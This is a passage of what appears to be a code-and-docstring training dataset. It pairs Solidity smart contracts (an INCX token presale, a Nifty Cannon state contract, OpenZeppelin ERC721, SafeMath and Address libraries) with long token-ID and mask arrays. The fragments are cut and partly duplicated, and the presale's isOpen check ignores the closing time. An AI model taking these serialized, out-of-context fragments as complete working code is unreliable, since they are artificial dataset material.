weiRaised = weiRaised.sub(amountToRefund);
_purchaser.transfer(amountToRefund);
emit Refund(_purchaser, _tokens, amountToRefund);
}
} | * @title INCXPresale @dev This smart contract administers presale of incx token. It has following features: - There is a cap to how much ether can be raised - There is a time limit in which the tokens can be bought - Only whitelisted ethereum addresses can contribute (to enforce KYC) - There is a minimum ether limit on individual contribution per transaction - There is a maximum ether limit on total individual contribution/ | contract INCXPresale is CappedCrowdsale, FinalizableCrowdsale, WhitelistedCrowdsale, IndividualCapCrowdsale, MintedCrowdsale {
event Refund(address indexed purchaser, uint256 tokens, uint256 weiReturned);
event TokensReturned(address indexed owner, uint256 tokens);
event EtherDepositedForRefund(address indexed sender,uint256 weiDeposited);
event EtherWithdrawn(address indexed wallet,uint256 weiWithdrawn);
function INCXPresale(uint256 _openingTime, uint256 _closingTime, uint256 _rate, address _wallet, uint256 _cap, INCXToken _token, uint256 _minAmount, uint256 _maxAmount)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
IndividualCapCrowdsale(_minAmount, _maxAmount)
{
}
function finalization() internal {
Ownable(token).transferOwnership(wallet);
}
function isOpen() public view returns (bool) {
return now >= openingTime;
}
function depositEtherForRefund() external payable {
emit EtherDepositedForRefund(msg.sender, msg.value);
}
function withdraw() public onlyOwner {
uint256 returnAmount = this.balance;
wallet.transfer(returnAmount);
emit EtherWithdrawn(wallet, returnAmount);
}
function refund(address _purchaser) public onlyOwner {
uint256 amountToRefund = contributions[_purchaser];
require(amountToRefund > 0);
require(weiRaised >= amountToRefund);
require(address(this).balance >= amountToRefund);
contributions[_purchaser] = 0;
uint256 _tokens = _getTokenAmount(amountToRefund);
weiRaised = weiRaised.sub(amountToRefund);
_purchaser.transfer(amountToRefund);
emit Refund(_purchaser, _tokens, amountToRefund);
}
} | 10,282,818 | [
1,
23213,
60,
12236,
5349,
225,
1220,
13706,
6835,
3981,
6045,
4075,
5349,
434,
7290,
92,
1147,
18,
2597,
711,
3751,
4467,
30,
300,
6149,
353,
279,
3523,
358,
3661,
9816,
225,
2437,
848,
506,
11531,
300,
6149,
353,
279,
813,
1800,
316,
1492,
326,
2430,
848,
506,
800,
9540,
300,
5098,
26944,
13750,
822,
379,
6138,
848,
356,
887,
261,
869,
12980,
1475,
61,
39,
13,
300,
6149,
353,
279,
5224,
225,
2437,
1800,
603,
7327,
24880,
1534,
2492,
300,
6149,
353,
279,
4207,
225,
2437,
1800,
603,
2078,
7327,
24880,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
2120,
39,
60,
12236,
5349,
353,
11200,
1845,
39,
492,
2377,
5349,
16,
16269,
6934,
39,
492,
2377,
5349,
16,
3497,
7523,
329,
39,
492,
2377,
5349,
16,
24147,
4664,
39,
492,
2377,
5349,
16,
490,
474,
329,
39,
492,
2377,
5349,
288,
203,
225,
871,
3941,
1074,
12,
2867,
8808,
5405,
343,
14558,
16,
2254,
5034,
2430,
16,
2254,
5034,
732,
77,
22360,
1769,
203,
225,
871,
13899,
22360,
12,
2867,
8808,
3410,
16,
2254,
5034,
2430,
1769,
203,
225,
871,
512,
1136,
758,
1724,
329,
1290,
21537,
12,
2867,
8808,
5793,
16,
11890,
5034,
732,
77,
758,
1724,
329,
1769,
203,
225,
871,
512,
1136,
1190,
9446,
82,
12,
2867,
8808,
9230,
16,
11890,
5034,
732,
77,
1190,
9446,
82,
1769,
203,
203,
225,
445,
2120,
39,
60,
12236,
5349,
12,
11890,
5034,
389,
3190,
310,
950,
16,
2254,
5034,
389,
19506,
950,
16,
2254,
5034,
389,
5141,
16,
1758,
389,
19177,
16,
2254,
5034,
389,
5909,
16,
2120,
39,
60,
1345,
389,
2316,
16,
2254,
5034,
389,
1154,
6275,
16,
2254,
5034,
389,
1896,
6275,
13,
203,
565,
1071,
203,
565,
385,
492,
2377,
5349,
24899,
5141,
16,
389,
19177,
16,
389,
2316,
13,
203,
565,
11200,
1845,
39,
492,
2377,
5349,
24899,
5909,
13,
203,
565,
23925,
39,
492,
2377,
5349,
24899,
3190,
310,
950,
16,
389,
19506,
950,
13,
203,
565,
24147,
4664,
39,
492,
2377,
5349,
24899,
1154,
6275,
16,
389,
1896,
6275,
13,
203,
225,
288,
203,
225,
289,
203,
203,
225,
445,
727,
1588,
1435,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "./CannonTypes.sol";
import "./CannonBase.sol";
/**
* @title Nifty Cannon State
* @author Cliff Hall
* @notice Defines the state members maintained by the Cannon contract
*/
contract CannonState is CannonBase, CannonTypes {
/**
* @notice Non-transferable volleys by recipient address
*/
mapping(address => Volley[]) public willCallVolleys;
/**
* @notice Transferable tickets by ticketId
*/
mapping(uint256 => Ticket) public transferableTickets;
/**
* @dev Since tickets are burned once used, totalSupply cannot be used for new ticket numbers
*/
uint256 internal nextTicketNumber = 0;
}
| * @title Nifty Cannon State @author Cliff Hall @notice Defines the state members maintained by the Cannon contract/ | contract CannonState is CannonBase, CannonTypes {
mapping(address => Volley[]) public willCallVolleys;
mapping(uint256 => Ticket) public transferableTickets;
uint256 internal nextTicketNumber = 0;
pragma solidity 0.7.4;
}
| 13,120,304 | [
1,
50,
2136,
93,
385,
1072,
265,
3287,
225,
3905,
3048,
670,
454,
225,
18003,
281,
326,
919,
4833,
11566,
8707,
635,
326,
385,
1072,
265,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
385,
1072,
265,
1119,
353,
385,
1072,
265,
2171,
16,
385,
1072,
265,
2016,
288,
203,
203,
565,
2874,
12,
2867,
516,
26861,
30678,
63,
5717,
1071,
903,
1477,
17431,
298,
1900,
31,
203,
203,
565,
2874,
12,
11890,
5034,
516,
22023,
13,
1071,
7412,
429,
6264,
2413,
31,
203,
203,
565,
2254,
5034,
2713,
1024,
13614,
1854,
273,
374,
31,
203,
203,
683,
9454,
18035,
560,
374,
18,
27,
18,
24,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/* _______ _______ __ _ ___ _______ __ __ ___ _______ _______ _______ _______ ___ __ __ _______
| || || | | || | | || | | || | | _ || || | | _ || | | | | || |
| ___|| ___|| |_| || | | || | | || | | |_| ||_ _|| ___| | |_| || | | | | || ___|
| | __ | |___ | || | | || |_| || | | | | | | |___ | || | | |_| || |___
| || || ___|| _ || | | _|| || |___ | | | | | ___| | _ | | |___ | || ___|
| |_| || |___ | | | || | | |_ | || || _ | | | | |___ | |_| || || || |___
|_______||_______||_| |__||___| |_______||_______||_______||__| |__| |___| |_______| |_______||_______||_______||_______|
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
